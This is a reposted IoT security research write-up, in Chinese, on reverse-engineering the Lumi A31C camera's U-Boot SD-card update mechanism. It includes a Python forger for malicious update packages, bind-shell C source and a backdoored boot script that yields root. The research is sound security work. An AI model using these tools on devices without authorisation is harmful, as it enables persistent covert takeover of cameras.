文章总结: 本文介绍了对LumiA31C摄像头的安全研究,通过逆向工程U-Boot升级机制,研究者发现了设备固件更新流程中的漏洞。他们分析了UART接口、理解了自动更新流程、逆向分析了固件结构,最终创建了恶意更新包,成功修改设备的squashfs文件系统并植入bindshell,获得了root权限。研究详细展示了从硬件接口分析到软件漏洞利用的完整过程,为物联网设备安全提供了有价值的参考。 综合评分: 91 文章分类: IoT安全,逆向分析,漏洞分析,渗透测试,二进制安全
物联网黑客入门 | Lumi – 第二部分
赛博知识驿站
2025年12月21日 10:49 中国香港
核心要点:通过逆向工程专有的U-Boot升级机制,我们实现了在设备上插入SD卡并重启后获得代码执行权限。
简介
我们将继续研究Lumi A31C摄像头。这次我们将分析之前提取的固件,追踪其启动逻辑,寻找控制设备的方法。
回顾物联网黑客入门 | Lumi – 第一部分,在拆解设备时,我们发现主芯片旁边有三个焊盘。
芯片旁的焊盘
探测焊盘
使用万用表找到接地点,并用SP10探针探测焊盘(无需焊接),我们推测这应该是UART接口[^1]。将其连接到USB转串口适配器后,需要正确连接TX和RX引脚:
探测焊盘
连接成功后立即获得了UART控制台输出,不过TX引脚似乎无响应。这可能是连接不良、走线被切断或软件层面被禁用。无论如何,TX引脚无法工作。继续分析实际输出的数据,发现这是一个U-Boot控制台。
分析U-Boot
识别UART引脚并猜测正确的波特率(115200)后,设备启动时会显示以下信息(此时已插入SD卡):
$ picocom -b 115200 /dev/ttyUSB0
U-Boot 2013.10.0-V3.1.28_bchV1.0.04 (Dec 27 2023 - 16:07:49)
DRAM: 64 MiB
efuse_read:0x00000004
bp_mask:0x7cstatus register: 0x200
16 MiB
bp_mask:0x7cstatus register: 0x200
read envbk data
use defualt env
sd detect gpio mode:82!
mmc_sd: 0
In: serial
Out: serial
Err: serial
Net: No ethernet found.
fatload mmc 0 0x82000000 f1r03_SD_UPDATA.enc
MMC: detect card present
mmc/sd share pin!
mmc_start_init: init OK!
cdh:sd card, mmc->capacity_user:0x76e480000 blocks!
cdh:mmc->capacity:0x76e480000 !
cdh:test_part_dos read ok!
cdh:test_part_dos DOS_PART_MAGIC_OFFSET ok!
cdh:test_part_dos DOS_MBR ok!
reading f1r03_SD_UPDATA.enc
** Unable to read file f1r03_SD_UPDATA.enc **
[do_auto_upgrade_by_SD:481] get "filesize" from env fail!
[[ 3b8bcc526a1691e7 ]]
autoboot in 3 seconds
bp_mask:0x7cstatus register: 0x200
no find 376832,pls check
SF: 1982464 bytes @ 0x5c000 Read: OK
## Booting kernel from Legacy Image at 80008000 ...
Image Name: Linux-4.4.192V2.1
Image Type: ARM Linux Kernel Image (uncompressed)
Data Size: 1820760 Bytes = 1.7 MiB
Load Address: 80008000
Entry Point: 80008040
Verifying Checksum ... OK
XIP Kernel Image ... OK
kernel loaded at 0x80008000, end = 0x801c4858
using: FDT
Starting kernel ...
Uncompressing Linux... done, booting the kernel.
虽然提示”autoboot in 3 seconds”(3秒后自动启动),但我们无法通过常规方法中断启动过程。有一行输出特别引人注意:
** Unable to read file f1r03_SD_UPDATA.enc **
从文件名判断,这似乎负责系统更新。这是个有趣的攻击面,值得深入研究。
理解自动更新流程
将上次转储的固件加载到Ghidra中,按照ARM:LE:32:v5t格式反汇编(基于芯片的处理器类型),然后搜索字符串f1r03_SD_UPDATA.enc。由于没有符号信息,我们花了些时间标注二进制代码中的逻辑。完成标注后,开始进一步分析。首先看检查SD卡文件的逻辑:
undefined4 checkNeedUpgrade(uint *file_bytes,int fileSize)
{
byte *pbVar1;
uint new_ver;
byte *fw_crc;
uint stored_ver;
char *__format;
byte *start_header;
uint cmd [33];
undefined *end_header;
end_header = PTR_DAT_80e0305c;
/* 文件加载位置 */
start_header = (byte *)0x81ffffff;
do {
start_header = start_header + 1;
*start_header = *start_header ^ 0x77;
} while (start_header != end_header);
pbVar1 = get_key(&sdloc,fileSize);
__format = "getKeyPos failed.";
if (pbVar1 != 0x0) {
pbVar1[0xc] = 0;
new_ver = strtol(pbVar1);
*file_bytes = new_ver;
/* 提取存储的固件crc32值 */
fw_crc = do_cmd("fwver_crc32");
if (fw_crc == 0x0) {
stored_ver = 0xffffffff;
}
else {
stored_ver = strtol(fw_crc);
}
__format = "do_not_need_updata";
if (stored_ver != new_ver) {
memset(cmd,0,0x80);
snprintf(cmd,"setenv fwver crc32 %d",new_ver,pbVar1);
do_uboot_cmd(cmd,0);
do_uboot_cmd("saveenv",0);
return 0;
}
}
printf(__format);
return 0xffffffff;
}
处理文件字节时,算法首先在第18行对内存进行0x77异或运算,然后在第20行从RAM加载位置0x82000000运行get_key()(sdloc是地址为0x82000000的全局变量)。
get_key函数定义如下:
char * get_key(char *param_1,int fileSize)
{
char *pcVar1;
pcVar1 = strstr(param_1,"KEY");
if ((((pcVar1 != 0x0) && (pcVar1 = strstr(pcVar1,"="), pcVar1 != 0x0))
&& (pcVar1 + 1 != 0x0)) && (pcVar1 + 0x11 < param_1 + fileSize)) {
return pcVar1 + 1;
}
return 0x0;
}
该函数提取KEY={...}的值,返回=后的内容,即CRC校验值。然后通过运行fwver_crc32命令检查存储的固件crc32值。如果两个值不相等,表示SD卡上的字节与设备当前存储的不同,升级流程将启动。
查看checkNeedUpgrade的父函数do_auto_upgrade:
undefined4 do_auto_upgrade(void)
{
// 省略部分代码
upgrade = checkNeedUpgrade(&ver_crc,_filesize);
if (upgrade == 0) {
compute_image_crc(&image_crc,_fsize);
printf("key2 = %d,key1=%d.",ver_crc,image_crc);
if (image_crc == ver_crc) {
printf("check ok!!!!");
memset(file_name,0,0x14);
if ((((DAT_82000018 == 0x50) && (DAT_82000019 == 0x41)) && (DAT_8200001a == 0x4b)) &&
(pcVar3 = PTR_DAT_80e038ec, DAT_8200001b == 10)) {
// 省略部分代码
该函数在第7行调用compute_image_crc,这个函数会对提供的镜像调用compute_crc:
undefined4 compute_crc(uint param_1,byte *end)
{
uint start;
undefined2 uVar1;
undefined2 uVar2;
start = param_1 >> 1;
uVar1 = do_crc(start,end,0xa001);
uVar2 = do_crc(param_1 - start,end + start,0xb001);
return CONCAT22(uVar1,uVar2);
}
然后调用实现crc16计算的do_crc:
undefined2 do_crc(int start,byte *stop,uint param_3)
{
uint k;
uint uVar1;
byte *end;
short r;
bool bVar2;
undefined2 crc;
byte local_buf2 [256];
byte local_buf1 [260];
byte i;
k = 0;
do {
uVar1 = k & 0xffff;
r = 8;
do {
bVar2 = (uVar1 & 1) != 0;
uVar1 = uVar1 >> 1;
if (bVar2) {
uVar1 = uVar1 ^ param_3;
}
r = r + -1;
if (bVar2) {
uVar1 = uVar1 & 0xffff;
}
} while (r != 0);
local_buf1[k] = (byte)uVar1;
local_buf2[k] = (byte)(uVar1 >> 8);
k = k + 1;
} while (k != 0x100);
memcpy((undefined4 *)&crc,(undefined4 *)0xffff,2);
end = stop + start;
for (; stop != end; stop = stop + 1) {
i = (byte)crc ^ *stop;
crc._0_1_ = local_buf1[i] ^ crc._1_1_;
crc._1_1_ = local_buf2[i];
}
return crc;
}
这是标准的CRC实现,具体工作原理可参考维基百科。
该函数使用两个不同的CRC多项式0xa001和0xb001分别调用两次,然后将结果值连接成32位crc。
回到do_auto_upgrade函数,可以看到在初始头部之后,第12-13行期望一个魔术字符串PAK\x0a(十六进制为0x50, 0x41, 0x4b, 0x0a),位于key头部之后(文件位于0x82000000,key头部长度为0x17字节)。继续深入:
if ((((DAT_82000018 == 0x50) && (DAT_82000019 == 0x41)) && (DAT_8200001a == 0x4b)) &&
(pcVar3 = PTR_DAT_80e038ec, DAT_8200001b == 10)) {
do {
pcVar5 = pcVar3;
pcVar3 = pcVar5 + 1;
} while (pcVar5[1] != '\n');
memset(file_name,0,0x14);
strcpy(file_name,PTR_DAT_80e038f4,(int)(pcVar5 + 0x7dffffe5));
printf("filename is %s",file_name);
name_ok = strcmp("f1r03",file_name);
file_buf = (byte *)(pcVar5 + 2);
if (name_ok == 0) {
printf("board name ok!");
_fsize = 4;
do {
if (((*file_buf != 0x50) || (file_buf[1] != 0x41)) ||
((file_buf[2] != 0x4b || (file_buf[3] != 10)))) goto check_fail;
代码在第17行读取到下一个\n,解析出”板卡名称”。第21行将该名称与存储的板卡名称f1r03比较,如果匹配,则在第27-28行检查另一个PAK\x0a魔术值:
if (((*file_buf != 0x50) || (file_buf[1] != 0x41)) ||
((file_buf[2] != 0x4b || (file_buf[3] != 10)))) goto check_fail;
pbVar4 = file_buf + 3;
pbVar7 = file_buf + 4;
pbVar6 = pbVar4;
do {
pbVar6 = pbVar6 + 1;
*pbVar6 = *pbVar6 ^ 0x77;
} while (pbVar6 != file_buf + 0xe);
iVar2 = 0;
do {
end = iVar2;
pbVar4 = pbVar4 + 1;
iVar2 = end + 1;
} while (*pbVar4 != 10);
memset(file_name,0,0x14);
strcpy((int)file_name,(char *)pbVar7,end);
printf("filename is %s",file_name);
sub_filesize = strtol(pbVar7 + iVar2);
printf("filesize is %d",sub_filesize);
pbVar6 = pbVar7 + iVar2;
do {
file_buf = pbVar6;
pbVar6 = file_buf + 1;
} while (*file_buf != 10);
iVar2 = strcmp("c1",(char *)file_name);
file_buf = file_buf + 1;
if (iVar2 == 0) {
do_c1((undefined4 *)file_buf,sub_filesize);
}
然后在第34行对接下来的0xe字节执行0x77异或运算,并解析出文件名和文件大小。
如果文件名等于c1,则调用do_c1函数。总共有四个这样的处理函数c1,c2,c3,c4,它们的处理逻辑基本相同:
undefined4 do_c1(undefined4 *buf,uint size)
{
bool bVar1;
undefined4 uVar2;
byte *pbVar3;
uint cmd [34];
pbVar3 = (byte *)((int)buf + -1);
do {
pbVar3 = pbVar3 + 1;
*pbVar3 = ~(*pbVar3 ^ 0x79);
} while (pbVar3 != (byte *)((int)buf + 0xff));
memcpy(&sdloc,buf,size);
bVar1 = do_uboot_cmd("sf probe 0",0);
if ((int)(uint)bVar1 < 0) {
printf("[%s:%d] run cmd 'sf_probe_0' fail",
"do auto upgrade uboot by SD",0x128);
uVar2 = 0xffffffff;
}
else {
memset(cmd,0,0x80);
snprintf(cmd,"sf erase %x %x",0,0x50000);
do_uboot_cmd(cmd,0);
memset(cmd,0,0x80);
snprintf(cmd,"sf write %x %x %x",0x82000000,0);
do_uboot_cmd(cmd,0);
uVar2 = 0;
}
return uVar2;
}
查看do_c1命令,我们取传递给函数的文件的前0x100字节,在第12行执行0x79异或运算,然后对值进行算术取反。接着用uboot的sf probe 0[^2]命令进行完整性检查,如果成功,则在第23行擦除0x0-0x500000区域,并在第26行用sf write命令加载数据。
其他处理函数c2、c3和c4分别处理0x50000-0x1f0000、0x240000,0x280000和0x4c0000-0x4e0000区域。
我们选择处理c4区域。但首先,该区域到底存储的是什么?
文件提取
使用binwalk查看整个固件转储,在地址0x4c0000处可以看到这实际上是一个squashfs文件系统。这让我们推测do_cN命令可能负责更新设备。
$ binwalk flash1.bin
// 省略部分输出
4980736 0x4C0000 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 3454334 bytes, 131 inodes, blocksize: 131072 bytes, created: 2023-12-29 11:35:36
要从用flashrom转储的镜像中提取特定位置的数据,可以使用dd命令。然后提取出squashfs文件系统。根据上一篇文章的binwalk输出,偏移量是0x4c0000,大小是3454334。使用dd提取:
dd if=flash1.bin of=squashfs.bin skip=4980736 count=3454334 bs=1 status=progress
很好,现在提取了squashfs”分区”,可以用”unsquashfs”解包以便从磁盘读取文件系统。
unsquashfs squashfs.bin
这会生成./squashfs-root/文件夹,我们可以进一步分析或修改,然后重新打包成更新包。这正是我们接下来要做的。
创建更新包
首先实现代码中看到的两种异或形式,即0x77异或和0x79逻辑非异或:
def wrap_string(data):
b = b''
for c in data:
b += (c ^ 0x77).to_bytes(1)
return b
def wrap_image(data):
b = b''
for c in data:
b += bytes([((~c) ^ 0x79)&0xff])
return b
接下来定义目标文件,这里选择c4以针对c4″分区”,确定大小并创建头部:
squashfs2_hdr = b'c4'
with open('repack.sfs','rb') as fd:
squashfs2 = fd.read()
squashfs2_size = str(len(squashfs2)).encode()
print(f"Image size: {squashfs2_size}")
image = b'PAK\n'
image += b'f1r03\x00\nPAK\n' # 文件名
squashfs_image = squashfs2_hdr + b'\n' + squashfs2_size
squashfs_image = wrap_string(squashfs_image + (b'\x00' * ((0xe - len(squashfs_image))-5)) + b'\n')
print("Wrapping image...")
squashfs_image += wrap_image(squashfs2[:0x100]) + squashfs2[0x100:]
image += squashfs_image
计算完所有内容后,用带校验和的头部打包,并确保填充到正确长度:
def add_image_header(image):
checksum = compute_crc(image, poly_a=0xA001, poly_b=0xB001, seed=0xFFFF)
print(f"Computed {checksum} for image")
buf = b'KEY=' + str(checksum).encode() + b'.'
buf += b'.' * (0x18 - len(buf))
print(f"Computed header as {buf}")
buf = wrap_string(buf)
buf += image
return buf
full_image = add_image_header(image)
with open(sys.argv[1],'wb') as fd:
fd.write(full_image)
compute_crc的Python实现如下:
def _crc16_reflected(data, poly, seed):
tbl = [0]*256
for k in range(256):
c = k
for _ in range(8):
if c & 1:
c = (c >> 1) ^ poly
else:
c >>= 1
c &= 0xFFFF
tbl[k] = c
crc = seed & 0xFFFF
for b in data:
idx = (crc ^ b) & 0xFF
crc = ((crc >> 8) ^ tbl[idx]) & 0xFFFF
return crc
def compute_crc(data, poly_a, poly_b, seed):
mid = len(data) >> 1
crc_hi = _crc16_reflected(data[:mid], poly_a, seed)
crc_lo = _crc16_reflected(data[mid:], poly_b, seed)
return ((crc_hi & 0xFFFF) << 16) | (crc_lo & 0xFFFF)
将所有内容整合到makeupgrade.py文件中(完整代码见原文)。
将此文件放入SD卡并重启设备后,可以看到它正常工作,表明修改成功。
现在我们可以访问底层文件系统之一。如果要修改它,可以对squashfs-root文件系统进行任何修改,重新打包,然后写回SD卡。
$ mksquashfs squashfs-root repack.sfs -comp xz
$ python3 makeupgrade.py /media/user/3436-3633/f1r03_SD_UPDATA.enc
$ rm repack.sfs
经过一番尝试不同的编译器(和编程语言!),我们选择了arm-linux-gnueabi-gcc和传统的C语言。编译一个简单的bind shell上传到摄像头以便轻松访问:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define PORT 4444
int server_check(int fd, struct sockaddr_in server) {
if (bind(fd, (struct sockaddr *)&server, sizeof(server)) != 0) {
exit(EXIT_FAILURE);
}
if (listen(fd, 2) != 0) {
exit(EXIT_FAILURE);
}
}
int main(void) {
int fd, connection;
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl(INADDR_ANY);
server.sin_port = htons(PORT);
fd = socket(PF_INET, SOCK_STREAM, 0);
server_check(fd, server);
connection = accept(fd, NULL, NULL);
dup2(connection, 0);
dup2(connection, 1);
dup2(connection, 2);
char *args[] = {"sh", (char *)0};
execve("/bin/busybox", args, NULL);
close(fd);
EXIT_SUCCESS;
}
在我们的案例中,execve目标是busybox(我们本可以上传bash,但选择不这样做)。使用以下命令编译程序:
arm-linux-gnueabi-gcc -march=armv5te -mcpu=arm926ej-s -static -Os -s -c main.c -o bd
得到二进制文件bd作为bind shell。但是,我们要把它放在哪里,如何让它在目标设备上运行?
在系统中植入后门
浏览squashfs-root目录时,我们注意到boot文件夹。“`bash
$ ls squashfs-root/
appver.txt audio autoboot.sh bin boot conf images localver.txt media network ntp part.env sh vendor.env vicam
其中包含多个在系统启动时运行的文件。
bash $ ls squashfs-root/boot anyboot.sh S00tz S01passwd S06chksd S07devinfo S20telnet S96chknet S97speech S98modules S98ntp S99dotstart
特别是`S07devinfo`文件引起了我们的兴趣,因为它似乎会向挂载的SD卡写入文件。
getmountpoint() { grep “/dev/mmcblk” /proc/mounts | cut -d’ ‘ -f2 }
writedevinfo() { INFOFILE=$1/cameradevinfo.txt
echo “fw version” > ${INFOFILE} cat /etc_default/version >> ${INFOFILE}
/opt/vicam/getver.sh allver >> ${INFOFILE} echo “network info” >> ${INFOFILE} ifconfig >> ${INFOFILE} iwconfig >> ${INFOFILE}
echo “uboot env” >> ${INFOFILE} fw_printenv >> ${INFOFILE}
省略部分代码
}
MNTPOINT=get_mount_point
if [ x”${MNTPOINT}” != x”” ]; then
write_devinfo ${MNTPOINT}
fi
确实,查看设备启动后SD卡的内容,可以看到:
$ cat /media/user/3436-3633/cameradevinfo.txt fw version 23.1227.472.2926 ——-device version——— ——-[a31cblurams_SD]———
省略部分输出
进一步研究这个`devinfo`文件时,发现这个特定的`squashfs-root`会被挂载到`/opt`目录。
$ cat /media/user/3436-3633/camera_devinfo.txt
省略部分输出
/dev/mtdblock3 on /opt type squashfs (ro,relatime)
省略部分输出
因此,修改这个`S07devinfo`脚本很可能是获得代码执行权限的目标。为了测试这一点,我们将编译好的`bd`文件放入`squashfs-root/boot`目录,并修改`S07devinfo`脚本,添加以下行:
writedevinfo() { INFOFILE=$1/cameradevinfo.txt
echo “fw version” > ${INFOFILE} cat /etc_default/version >> ${INFOFILE}
/opt/vicam/getver.sh allver >> ${INFOFILE} echo “network info” >> ${INFOFILE} ifconfig >> ${INFOFILE} iwconfig >> ${INFOFILE}
echo “uboot env” >> ${INFOFILE}
/opt/boot/bd.sh &
fw_printenv >> ${INFOFILE}
省略部分代码
}
其中添加的行是`/opt/boot/bd.sh &`。该文件的内容如下:
$ cat squashfs-root/boot/bd.sh
!/usr/bin/env sh
while [ 1 ] ; do /opt/boot/bd; sleep 1; done
剩下的工作就是重新打包后插入SD卡,启动设备,重新连接它正在广播的网络,然后:
$ nc -v 192.165.56.1 4444 Connection to 192.165.56.1 4444 port [tcp/*] succeeded! id uid=0(root) gid=0 “`
成功获得root权限的(bind)shell!
注释:
1. UART是嵌入式设备非常常见的调试接口。参考:https://en.wikipedia.org/wiki/Universal_asynchronous_receiver-transmitter↩︎
2. sf命令用于访问SPI闪存,支持读/写/擦除等功能。参考:https://docs.u-boot.org/en/latest/usage/cmd/sf.html↩︎
原文:https://vindivlabs.com/research/lumi_part_2/
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛博知识驿站 《物联网黑客入门 | Lumi – 第二部分》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论